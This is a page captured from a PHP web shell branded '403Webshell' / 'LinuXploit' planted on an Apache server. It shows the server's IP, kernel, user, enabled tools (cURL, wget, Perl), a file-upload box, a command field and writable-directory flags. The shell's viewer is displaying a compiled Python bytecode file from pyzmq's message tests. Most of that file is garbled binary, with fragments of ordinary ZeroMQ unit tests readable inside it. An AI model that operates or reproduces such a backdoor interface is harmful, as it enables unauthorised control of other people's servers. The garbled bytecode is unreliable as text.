403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/zmq/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zmq/tests/__pycache__/test_message.cpython-311.pyc
�

mc�cG,����ddlZddlZddlZ	ddlmZeZn
#e$rdZYnwxYwddlZddlZddlm	Z	m
Z
mZmZdZ
er$ee
��Zee
��Zee
��ez
Zd�ZGd�de
��ZdS)�N)�getrefcount)�PYPY�BaseZMQTestCase�SkipTest�	skip_pypy�xc��tjdkrd}nd}td��D]/}t|��||zkrdSt	jd���0dS)z�wait for refcount on an object to drop to an expected value

    Necessary because of the zero-copy gc thread,
    which can take some time to receive its DECREF message.
    )�����2Ng�������?)�sys�version_info�range�grc�time�sleep)�obj�rc�my_refs�is    �8/usr/lib/python3/dist-packages/zmq/tests/test_message.py�await_gcrsl����'�!�!������
�2�Y�Y�����s�8�8�r�G�|�#�#��F�F��
�4�����	��c����eZdZ�fd�Zed���Zd�Zd�Zd�Zd�Z	ed���Z
ed���Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zed���Z�xZS)�	TestFramec���t�����td��D]}tj���dS)Nr
)�super�tearDownr�gc�collect)�selfr�	__class__s  �rr zTestFrame.tearDown2sE���
���������q���	�	�A��J�L�L�L�L�	�	rc��tdd��D]s}d|ztz}t|��}tj|d���}t|��|dzksJ�~t||��t|��|ksJ�~�tdS)z/Message above 30 bytes are never copied by 0MQ.��rF��copyN)r�xr�zmq�Framer)r#r�sr�ms     r�
test_above_30zTestFrame.test_above_307s����q�"���	�	�A��A���
�A��Q���B��	�!�%�(�(�(�A��q�6�6�R�!�V�#�#�#�#���Q��O�O�O��q�6�6�R�<�<�<�<���	�	rc���td��D]N}d|ztz}tj|��}t	|��}|���}||ksJ��OdS)z+Test the str representations of the Frames.r'rN)rr*r+r,�str�encode)r#rr-r.�m_str�m_str_bs      r�test_strzTestFrame.test_strDsb���r���	 �	 �A��A���
�A��	�!���A���F�F�E��l�l�n�n�G���<�<�<�<�<�	 �	 rc���tdd��D]O}d|ztz}tj|��}|j}||jksJ�t
s||usJ�||jusJ��PdS)zTest the Frame.bytes property.r
r'rN)rr*r+r,�bytesr)r#rr-r.�bs     r�
test_byteszTestFrame.test_bytesMsy���q�"���		 �		 �A��A���
�A��	�!���A���A����<�<�<�<��
"���z�z�z�z����<�<�<�<�<�		 �		 rc��d}|�ttj|��t	d��D]Q}d|zdz}tj|�d����}||j�d��ksJ��RdS)z/Test the unicode representations of the Frames.�asdfr'r�§�utf8N)�assertRaises�	TypeErrorr+r,rr2r7�decode)r#r-rr.s    r�test_unicodezTestFrame.test_unicodeZs��������)�S�Y��2�2�2��r���	/�	/�A��A���
�A��	�!�(�(�6�*�*�+�+�A������v�.�.�.�.�.�.�.�	/�	/rc��td��D]E}d|ztz}tj|��}t	|��t	|��ksJ��FdS)zTest the len of the Frames.r'rN)rr*r+r,�len)r#rr-r.s    r�test_lenzTestFrame.test_lencs[���r���	$�	$�A��A���
�A��	�!���A��q�6�6�S��V�V�#�#�#�#�#�	$�	$rc���tdd��D�]^}d|ztz}t|��x}}tj|d���}|dz
}t|��|ksJ�tj|��}|dz
}t|��|ksJ�|j}t|��|ksJ�|t|�����ksJ�|t|��ksJ�||j	ksJ�|t|��ksJ�~t|��|ksJ�~|dz}t|��|ksJ�~|dz}t||��t|��|ksJ�||ksJ�~��`dS)z-Run through a ref counting cycle with a copy.r&r'rFr(r
N�rr*rr+r,r)�bufferr1r2r7r�r#rr-r�rc_0r.�m2�bufs        r�test_lifecycle1zTestFrame.test_lifecycle1js����q�"���	�	�A��A���
�A��A����B���	�!�%�(�(�(�A��!�G�B��q�6�6�R�<�<�<�<���1���B��!�G�B��q�6�6�R�<�<�<�<��)�C��q�6�6�R�<�<�<�<���A���
�
���'�'�'�'���b�	�	�>�>�>�>����<�<�<�<���c�
�
�?�?�?�?���q�6�6�R�<�<�<�<���!�G�B��q�6�6�R�<�<�<�<���!�G�B��Q��O�O�O��q�6�6�R�<�<�<�<���:�:�:�:���?	�	rc��tdd��D�]k}d|ztz}t|��x}}tj|d���}|dz
}t|��|ksJ�tj|��}|dz
}t|��|ksJ�|j}t|��|ksJ�|t|�����ksJ�|t|��ksJ�||j	ksJ�||j	ksJ�|t|��ksJ�~t|��|ksJ�~|dz}t|��|ksJ�~|dz}t||��t|��|ksJ�||ksJ�~��mdS)z7Run through a different ref counting cycle with a copy.r&r'rFr(r
NrFrHs        r�test_lifecycle2zTestFrame.test_lifecycle2�s����q�"���	�	�A��A���
�A��A����B���	�!�%�(�(�(�A��!�G�B��q�6�6�R�<�<�<�<���1���B��!�G�B��q�6�6�R�<�<�<�<��(�C��q�6�6�R�<�<�<�<���A���
�
���'�'�'�'���b�	�	�>�>�>�>����=�=�=�=����<�<�<�<���c�
�
�?�?�?�?���q�6�6�R�<�<�<�<���!�G�B��q�6�6�R�<�<�<�<���!�G�B��Q��O�O�O��q�6�6�R�<�<�<�<���:�:�:�:���=	�	rc�F�tjddd���}|jjrJ�tj|��}|jrJ�~td��D]}t
j���td��D]}|jrntj	d��� |jsJ�dS)N�asdfFT�r)�trackr
�
皙�����?)
r+r,�tracker�done�MessageTrackerrr!r"rr)r#r.�pmrs    r�test_trackerzTestFrame.test_tracker�s����I�g�E��6�6�6���9�>�!�!�!�
�
��
"�
"���7����
��q���	�	�A��J�L�L�L�L��r���	�	�A��w�
����J�s�O�O�O�O��w�����rc���tjdd���}|jdksJ�tj|��}|jdksJ�|�t
tj|��dS)NrPF)rR)r+r,rUr)r>�
ValueErrorrW)r#r.rJs   r�test_no_trackerzTestFrame.test_no_tracker�sj���I�g�U�+�+�+���y�D� � � � �
�Y�q�\�\���z�T�!�!�!�!����*�c�&8�!�<�<�<�<�<rc�<�tjddd���}tjddd���}tj||��}|jjrJ�|jrJ�|�tj|jd��~td��D]}tj
���|�tj|jd��|jrJ�~td��D]}tj
���|�d���J�|jsJ�dS)NrPFTrQswhodarTr
)r+r,rWrUrVr>�NotDone�waitrr!r")r#r.rJ�mtrs     r�test_multi_trackerzTestFrame.test_multi_tracker�s���I�g�E��6�6�6��
�Y�x�e�4�
8�
8�
8��
�
��2�
&�
&���9�>�!�!�!��7�������#�+�r�w��4�4�4�
��q���	�	�A��J�L�L�L�L����#�+�r�w��4�4�4��7������q���	�	�A��J�L�L�L�L��w�w�s�|�|�#�#�#��w�����rc�p�d���}tjt|����dS)ztest using a buffer as input�8§§¶•ªº˜µ¬˚…∆˙åß∂©œ∑´†≈ç√N)r2r+r,�
memoryview)r#�inss  r�test_buffer_inzTestFrame.test_buffer_in�s/��H�O�O�Q�Q���	�*�S�/�/�"�"�"�"�"rc��|�ttjd��|�ttjt	����dS)ztest using a bad objectr&N)r>r?r+r,�object)r#s r�test_bad_buffer_inzTestFrame.test_bad_buffer_in�s@�����)�S�Y��2�2�2����)�S�Y����9�9�9�9�9rc���d���}tj|��}|j}t	|t
��sJ�||jusJ�|j|jusJ�dS)zreceiving buffered outputrcN)r2r+r,rG�
isinstancerd)r#rer.�outbs    r�test_buffer_outzTestFrame.test_buffer_out�sk��H�O�O�Q�Q���I�c�N�N���x���$�
�+�+�+�+�+��q�x������x�1�8�#�#�#�#�#�#rc�t�d���}t|��}tj|��}|j}|jdksJ�|j|fksJ�|���|ksJ�t|��}|jdksJ�|j|fksJ�|���|ksJ�dS)zmemoryview shape inforcr
N)	r2rCr+r,rG�ndim�shape�tobytesrd)r#�data�n�f�view1�view2s      r�test_memoryview_shapezTestFrame.test_memoryview_shape�s���I�P�P�R�R����I�I���I�d�O�O������z�Q������{�q�d�"�"�"�"��}�}���$�&�&�&�&��1�
�
���z�Q������{�q�d�"�"�"�"��}�}���$�&�&�&�&�&�&rc���|�tjtj��\}}d}tj|��}||jksJ�|�|d���t
jd��||jksJ�|�|d���t
jd��||jksJ�|�|d���t
jd��||jksJ�|�|d���t
jd��||jksJ�td��D]}|�	��}||ksJ��||jksJ�dS)z9ensure that a message remains intact after multiple sendssmessageFr(rTT�N)
�create_bound_pairr+�PAIRr,r7�sendrrr�recv)r#�ar8r-r.r�rs       r�test_multisendzTestFrame.test_multisend�sL���%�%�c�h���9�9���1����I�a�L�L���A�G�|�|�|�|�	���q�u������
�3�����A�G�|�|�|�|�	���q�u������
�3�����A�G�|�|�|�|�	���q�t������
�3�����A�G�|�|�|�|�	���q�t������
�3�����A�G�|�|�|�|��q���	�	�A������A���6�6�6�6�6��A�G�|�|�|�|�|�|rc��d}t|��tj|��}|j}|���}||ksJ�|j|ksJ�dS)ztest messages from memoryviewscarrotjuiceN)rdr+r,rGrqr7)r#r-r.rK�s2s     r�test_memoryviewzTestFrame.test_memoryviewsS�����1�
�
�
��I�a�L�L���h��
�[�[�]�]���Q�w�w�w�w��w�!�|�|�|�|�|�|rc�0�d}|�tjtj��\}}td��D]�}|�|d���|�d���}|j}|j}~td��D]�}dd|dzzz}|�|d���|�d���}	|���}
|
|ksJ�||ksJ�|	j|ksJ�t|	j��tusJ�����d	S)
z$check for clobbering message buffers�@� Fr(r&���(rSN)
rzr+r{rr|r}r7rGrq�type)r#�null�sa�sbrr.�mbrK�ffrJr8s           r�test_noncopying_recvzTestFrame.test_noncopying_recvs$�����'�'���#�(�;�;���B��r���	/�	/�A��G�G�D�u�G�%�%�%����U��#�#�A���B��(�C���1�X�X�
/�
/����Q��V��,��������'�'�'��W�W�%�W�(�(���K�K�M�M���D�y�y�y�y��T�z�z�z�z��x�2�~�~�~�~��B�H�~�~��.�.�.�.�.�
/�	/�	/rc��d}|�tjtj��\}}td��D�]}|�t|��d���|�d���}t|��}td��D]�}dd|dzzz}|�t|��d���|�d���}t|��}	|���|ksJ�|jrJ�|	���|ksJ�|	jrJ�t|��t
usJ�����d	S)
z%test non-copying memmoryview messagesr�r�Fr(r&r�r�rSN)
rzr+r{rr|rdr}rq�readonlyr�)
r#r�r�r�rr.rKr�rJ�buf2s
          r�test_noncopying_memoryviewz$TestFrame.test_noncopying_memoryview1sM�����'�'���#�(�;�;���B��r���	/�	/�A��G�G�J�t�$�$�5�G�1�1�1����U��#�#�A��Q�-�-�C��1�X�X�	
/�	
/����Q��V��,�����
�2���U��3�3�3��W�W�%�W�(�(��!�"�~�~���{�{�}�}��,�,�,�,��<�'�'�'��|�|�~�~��+�+�+�+��=�(�(�(��C�y�y�J�.�.�.�.�.�	
/�	/�	/rc��
�	ddl}ddlm}n#t$rt	d���wxYw|jj�
�
fd�td��D��}|�tj
tj
��\}}ttddg}td	t|��d	z��D�]Q}|d|�}|D]�}	|j�d
d|����|	��}
|�|
d
���|�d
���}|�||
j���|
j��}||
|����|�|dtfdtfdg���}
d|
d<d|
d<d|
d<|�|
d
���|�d
���}|�||
j���|
j��}||
|����SdS)z%test non-copying numpy array messagesrN)�assert_array_equalzrequires numpyc�(��g|]}�dd����S)rr&�)�.0r�rands  �r�
<listcomp>z/TestFrame.test_buffer_numpy.<locals>.<listcomp>Ms#���/�/�/��$�$�q�!�*�*�/�/�/rr&z>i4�Br
i���i@B)�sizeFr(r~r8)�c�a32)�dtypeige��Azhello therer�)�numpy�
numpy.testingr��ImportErrorr�random�randintrrzr+r{�int�floatrC�uniform�astyper|r}�
frombufferr��reshaperp�empty)r#r�r��shapesr~r8�dtypesrrp�dt�A�msgr�r�s             @r�test_buffer_numpyzTestFrame.test_buffer_numpyEs)���	-��L�L�L�8�8�8�8�8�8�8���	-�	-�	-��+�,�,�,�	-�����|�#��/�/�/�/�e�A�h�h�/�/�/���%�%�c�h���9�9���1��u�e�S�)���q�#�f�+�+��/�*�*�	%�	%�A��2�A�2�J�E��
)�
)���L�(�(��)0�u�)�>�>�>D�f�R�j�j�����q�u��%�%�%��f�f�%�f�(�(���$�$�S�!�'�2�2�:�:�1�7�C�C��"�"�1�a�(�(�(�(����E�3��*�s�E�l�L�)Q��R�R�A��A�c�F��A�c�F�"�A�c�F�
�F�F�1�5�F�!�!�!��&�&�e�&�$�$�C�� � ��a�g�.�.�6�6�q�w�?�?�A���q�!�$�$�$�$�'	%�	%s�
�(c�d�tjd��}|jrJ�|�tjtj��\}}|�ddg��|�|d���}|jsJ�tj��ddkr(ts!|�	tj
��sJ�|�|d���}|jrJ�tj��ddkr(ts#|�	tj
��rJ�dSdSdS)	ztest Frame.more attributeshelloshisthereFr(rr
N)r+r,�morerzr{�send_multipartr}�zmq_version_infor�get�MORE)r#�framer�r�s    r�test_frame_morezTestFrame.test_frame_morees!���	�(�#�#���:�����'�'���#�(�;�;���B�
���5�(�+�,�,�,��	�	�"�5�	�)�)���z������!�!�!�$��)�)�$�)��9�9�S�X�&�&�&�&�&��	�	�"�5�	�)�)���:������!�!�!�$��)�)�$�)��y�y���*�*�*�*�*�*�)�)�)�*�*r)�__name__�
__module__�__qualname__r rr/r5r9rArDrLrNrYr\rarfrirmrwr�r�r�r�r�r��
__classcell__)r$s@rrr1s�������������
�
�
��Y�
� � � � � � �/�/�/�$�$�$��!�!��Y�!�F� � ��Y� �D���=�=�=����$#�#�#�
:�:�:�
$�$�$�'�'�'����0���/�/�/�,/�/�/�(%�%�%�@�
+�
+��Y�
+�
+�
+�
+�
+rr)r)r!rrrr�rr+�	zmq.testsrrrrr*�rc0rd�v�view_rcrrr�rr�<module>r�s'��
����	�	�	�	�
�
�
�
���������C�C������
�C�C�C�����
����
�
�
�
�@�@�@�@�@�@�@�@�@�@�@�@�	����

�#�a�&�&�C��
�1�
�
�A��c�!�f�f�s�l�G����$B+�B+�B+�B+�B+��B+�B+�B+�B+�B+s��!�!

Youez - 2016 - github.com/yon3zu
LinuXploit